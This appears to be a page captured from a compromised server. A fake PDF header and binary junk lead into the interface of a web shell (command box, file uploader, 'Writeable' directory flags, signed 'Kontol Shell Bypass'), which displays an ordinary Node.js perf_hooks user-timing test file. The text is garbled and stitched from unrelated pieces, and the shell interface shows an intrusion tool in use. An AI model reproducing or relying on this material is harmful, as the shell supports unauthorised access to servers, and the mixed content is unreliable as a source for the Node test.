%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/test-perf-hooks-usertiming.js
'use strict';

const common = require('../common');
const assert = require('assert');
const {
  PerformanceObserver,
  PerformanceEntry,
  PerformanceMark,
  performance: {
    nodeTiming,
    mark,
    measure,
    clearMarks,
  },
} = require('perf_hooks');

assert(PerformanceObserver);
assert(PerformanceEntry);
assert(PerformanceMark);
assert(mark);
assert(measure);

[undefined, 'a', 'null', 1, true].forEach((i) => {
  const m = mark(i);
  assert(m instanceof PerformanceEntry);
  assert(m instanceof PerformanceMark);

  assert.strictEqual(m.name, `${i}`);
  assert.strictEqual(m.entryType, 'mark');
  assert.strictEqual(typeof m.startTime, 'number');
  assert.strictEqual(m.duration, 0);
  assert.strictEqual(m.detail, null);
});

clearMarks();

assert.throws(() => mark(Symbol('a')), {
  message: /Cannot convert a Symbol value to a string/
});

[undefined, null].forEach((detail) => {
  const m = mark('a', { detail });
  assert.strictEqual(m.name, 'a');
  assert.strictEqual(m.entryType, 'mark');
  assert.strictEqual(m.detail, null);
});
[1, 'any', {}, []].forEach((detail) => {
  const m = mark('a', { detail });
  assert.strictEqual(m.name, 'a');
  assert.strictEqual(m.entryType, 'mark');
  // Value of detail is structured cloned.
  assert.deepStrictEqual(m.detail, detail);
});

clearMarks();

{
  const m = mark('a', { startTime: 1 });
  assert.strictEqual(m.startTime, 1);
}

assert.throws(() => mark('a', { startTime: 'a' }), {
  code: 'ERR_INVALID_ARG_TYPE'
});

clearMarks();
clearMarks(1);
clearMarks(null);

assert.throws(() => clearMarks(Symbol('foo')), {
  message: /Cannot convert a Symbol value to a string/
});

{
  mark('a', { startTime: 0 });
  mark('b', { startTime: 10 });

  {
    const m3 = measure('foo', 'a', 'b');
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, 0);
    assert.strictEqual(m3.duration, 10);
  }

  {
    const m3 = measure('foo', 'a');
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, 0);
    assert(m3.duration > 0);  // Duration is non-deterministic here.
  }

  {
    const m3 = measure('foo', { start: 'a' });
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, 0);
    assert(m3.duration > 0);  // Duration is non-deterministic here.
  }

  {
    const m3 = measure('foo', { end: 'b' });
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, 0);
    assert.strictEqual(m3.duration, 10);
  }

  {
    const m3 = measure('foo', { duration: 11, end: 'b' });
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, -1);
    assert.strictEqual(m3.duration, 11);
  }

  {
    const m3 = measure('foo', { duration: 11, start: 'b' });
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, 10);
    assert.strictEqual(m3.duration, 11);
  }

  {
    const m3 = measure('foo', 'nodeStart');
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, nodeTiming.nodeStart);
    assert(m3.duration > 0);  // Duration is non-deterministic here.
  }

  {
    const m3 = measure('foo', 'nodeStart', 'bootstrapComplete');
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, nodeTiming.nodeStart);
    assert.strictEqual(
      m3.duration,
      nodeTiming.bootstrapComplete - nodeTiming.nodeStart);
  }

  {
    const m3 = measure('foo', { start: 'nodeStart', duration: 10 });
    assert.strictEqual(m3.name, 'foo');
    assert.strictEqual(m3.entryType, 'measure');
    assert.strictEqual(m3.startTime, nodeTiming.nodeStart);
    assert.strictEqual(m3.duration, 10);
  }

  clearMarks();
}

{
  const obs = new PerformanceObserver(common.mustCall((list) => {
    {
      const entries = list.getEntries();
      assert.strictEqual(entries.length, 3);
    }
    {
      const entries = list.getEntriesByType('mark');
      assert.strictEqual(entries.length, 2);
    }
    {
      const entries = list.getEntriesByType('measure');
      assert.strictEqual(entries.length, 1);
    }
    {
      const entries = list.getEntriesByName('a');
      assert.strictEqual(entries.length, 1);
    }
    {
      const entries = list.getEntriesByName('b');
      assert.strictEqual(entries.length, 1);
    }
    {
      const entries = list.getEntriesByName('a to b');
      assert.strictEqual(entries.length, 1);
    }
    obs.disconnect();
  }));
  obs.observe({ entryTypes: ['mark', 'measure'] });
  mark('a');
  mark('b');
  measure('a to b', 'a', 'b');
}

Kontol Shell Bypass